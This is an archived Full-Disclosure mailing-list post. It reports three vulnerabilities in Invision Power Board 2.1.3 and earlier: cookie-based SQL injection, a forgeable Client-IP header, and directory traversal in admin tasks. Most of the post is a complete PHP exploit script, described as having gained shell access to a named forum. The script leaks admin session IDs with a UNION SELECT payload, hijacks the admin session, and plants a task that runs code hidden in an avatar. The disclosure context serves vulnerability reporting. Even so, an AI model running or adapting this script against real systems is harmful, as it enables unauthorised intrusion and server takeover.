[Full-disclosure] SQL Injection in IPB <=2.1.3

Thu, 28 Sep 2006 11:07:48 -0700

Well this would be NDSD-06-002 but n3td3v seems to have really left.......All relevant details are in the message below, the SQL injection was patched within a day (http://forums.invisionpower.com/index.php?showtopic=204627), I believe the other problems still exist.

 

-----Original Message-----
From: Sam Thomas
Sent: 05 January 2006 02:53
To: [EMAIL PROTECTED]
Subject: vulnerability disclosure

 

Hi,

 

I write to this address as I cannot find a better one to contact you on. Could you please forward this message to the appropriate person(s).

 

I write to you to disclose three vulnreabilities within the ipb software. I came across these whilst gaining access to pzforum.net as part of the www.rootcontest.org contest. These vulnerabilities are tested up to version 2.1.3.

 

Firstly I would  like to make it clear that I have no intention of disclosing these vulnerabilities to anyone other than yourselves until they are fully rectified.

 

The main vulnerability exisits in the lack of sanity checking on the cookie topicsread:

 

if ( ! in_array( $name, array('topicsread', 'forum_read') ) )
      {
       return $this->parse_clean_value(urldecode($_COOKIE[$this->vars['cookie_id'].$name]));
      }
      else
      {
       return urldecode($_COOKIE[$this->vars['cookie_id'].$name]);
      }

allows injection with variables of the form:

 

$injection_array = array(1=>1,"1) UNION SELECT 1,session_id,session_ip_address,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ibf_admin_sessions where (1,1)=(1"=>2);

 

This can be used through the usercp to disclose pretty much any information, including any files which can be accessed by load_file. (SELECT INTO OUTFILE is also available on badly configured systems).

 

The second vulnerability exists in the handling if ip addresses:

 

$addrs[] = $_SERVER['HTTP_CLIENT_IP'];
  $addrs[] = $_SERVER['REMOTE_ADDR'];
  $addrs[] = $_SERVER['HTTP_PROXY_USER'];
  
  foreach ( $addrs as $ip )
  {
   if ( $ip )
   {
    $this->ip_address = $ip;
    break;
   }
  }

the Client-IP header can easily be forged:

if ($sip!="") {$com.= "Client-Ip: $sip\n";}

This essentially removes any security gained by the ip element of sessions.

The third and final vulnerability exists in the mechanism for setting up tasks:

This vulnerability is only an issue once access has been gained to the admin panel. There is a simple directory traversal exploit:

$tmppvar.= "task_file=../../uploads/av-" . $forum_member_id . ".jpg&";

Thank you for taking time to look at this, and please let me know that an appropriate person has received it.

Thanks,
Sam

The following code was used to gain shell access to pzforum.net through these vulnerabilities. It creates a task which points to the users avatar, into which s/he can place (.jpg comment field for instance) arbitrary php code, including the passthru command etc....

exploit.php:
<?php

$server = "pzforum.net";
$port = 80;

//wait between checking sessions (90 minutes)
$interval = 60*90;

$forum_root = "/";
$forum_root2 = "\/";
$forum_cookie_header="paz";
$forum_member_id=xxx;
$forum_pass_hash="xxxxxxxxxxxxxxxxxxxxxxxx";

$forum_validate_cookie=$forum_cookie_header . "member_id=" . $forum_member_id . ";" . $forum_cookie_header . "pass_hash=" . $forum_pass_hash . ";";

// get initial session_id
$injection_array = array(1=>1,"1) UNION SELECT 1,session_id,session_ip_address,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ibf_admin_sessions where (1,1)=(1"=>2);
$tmpcookie= $forum_validate_cookie . $forum_cookie_header . "topicsread=" . urlencode(serialize($injection_array)) . ";";

echo "*** ATTEMPTING TO GET OLD SESSION INFO ***\r\n";

$tmppage = getPage($server,$port,$forum_root."index.php?act=UserCP&CODE=00","",$tmpcookie);


if (preg_match("/<a id=\"tid-link-1\"[^>]*>(.*)<\/a><\/span>[^<]*<div class=\"desc\"><span[^>]*>(.*)<\/span>/",$tmppage,$tmpmatches))
{
 $session_id=$tmpmatches[1];
 $ip_address=$tmpmatches[2];

 echo "old session: ip - " . $ip_address ." , " . "session_id - " . $session_id . "\r\n";


 // wait for a new session
 $new_session=false;
 echo "*** WAITING FOR A NEW SESSION ***\r\n";


 while (!$new_session)
 {
  sleep($interval);
  $tmppage = getPage($server,$port,$forum_root."index.php?act=UserCP&CODE=00","",$tmpcookie);
  preg_match("/<a id=\"tid-link-1\"[^>]*>(.*)<\/a><\/span>[^<]*<div class=\"desc\"><span[^>]*>(.*)<\/span>/",$tmppage, $tmpmatches);
  if ($tmpmatches[1]==$session_id)
  {
   echo ".";
  }
  else
  {
   $session_id=$tmpmatches[1];
   $ip_address=$tmpmatches[2];
   echo "found new session!\r\n";
   echo "new session: ip - " . $ip_address . " , " . "session_id - " . $session_id . "\r\n";
   $new_session=true;
  }
 }


 // spoof new session to add our task

 echo "*** ATTEMPTING TO SPOOF SESSION AND ADD AVATAR TASK ***\r\n";
 $tmppvar = "task_title=Weekly Clean Out&";
 $tmppvar.= "task_description=Rebuilds forum indexes&";
 $tmppvar.= "task_file=../../uploads/av-" . $forum_member_id . ".jpg&";
 $tmppvar.= "task_minute=0&";
 $tmppvar.= "task_hour=0&";
 $tmppvar.= "task_week_day=6&";
 $tmppvar.= "task_month_day=-1&";
 $tmppvar.= "task_log=0&";
 $tmppvar.= "task_enabled=1";

 $tmppage=getPagePut($server,$port,$forum_root."admin.php?adsess=" . $session_id . "&section=tools&act=task&do=task_add_do&task_id=&type=add",$ip_address,"",$tmppvar);

 // retreive cron key of our task
 if (preg_match("/Task Saved Successfully/",$tmppage))
 {
  echo "task added successfully.\r\n";
  preg_match("/<strong>  Weekly Clean Out<\/strong>[^<]*<div[^>]*><em>Rebuilds forum indexes<\/em><\/div>[^<]*<div[^>]*>[^h]*http:\/\/" . $server . $forum_root2 . "index.php\?section=tools&amp;act=task&amp;ck=(.{32})[^<]*<\/div>/",$tmppage,$tmpmatches);
  echo "cron key: " . $tmpmatches[1];
 }
 else
 {
  echo "Error adding task?\r\n";
 }
}
else
{
 echo "failed to validate?\r\n";
}

function getPage($server, $port, $file, $sip, $cookie) {
          $ip = gethostbyname($server);
          $fp = fsockopen($ip, $port);

        if (!$fp) {
                 return "Unknown";
        } else {
                 $com = "GET $file HTTP/1.1\r\n";
            $com.= "Host: $server:$port\r\n";
   if ($sip!="") {$com.= "Client-Ip: $sip\n";}
   if ($cookie!="") {$com.= "Cookie: $cookie\n";}
            $com.= "Connection: close\r\n";
   $com.= "\r\n";
   
                 fputs($fp, $com);
   
   $header="";

                 do {
                   $header.= fread($fp, 512);
                 } while( !preg_match('/\r\n\r\n$/',$header) );
   
        }

        return $header;
}
function getPagePut($server, $port, $file, $sip, $cookie, $pvar) {
          $ip = gethostbyname($server);
          $fp = fsockopen($ip, $port);

        if (!$fp) {
                 return "Unknown";
        } else {
                 $com = "POST $file HTTP/1.1\r\n";
            $com.= "Host: $server:$port\r\n";
   if ($sip!="") {$com.= "Client-Ip: $sip\n";}
   if ($cookie!="") {$com.= "Cookie: $cookie\n";}
            $com.= "Keep-Alive: 300\r\nConnection: keep-alive\r\n";
   $com.= "Content-Type: application/x-www-form-urlencoded\r\n";
   $com.= "Content-Length: "; 
   $com.= strlen($pvar)."\r\n\r\n";
   $com.= $pvar . "\r\n";
   
                 fputs($fp, $com);
   
   $header="";

                 do {
                   $header.= fread($fp, 512);
                 } while( !preg_match('/\r\n\r\n$/',$header) );
   

        }

        return $header;
}
?>
  

 

 

 

 

 

 

 

 

 

 

 



***********************************************************************************

For more information about Aquaterra Leisure, see www.aquaterra.org

To shop for speedo or polar at bargain prices, see www.aquashop.org

***********************************************************************************
 
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Reply via email to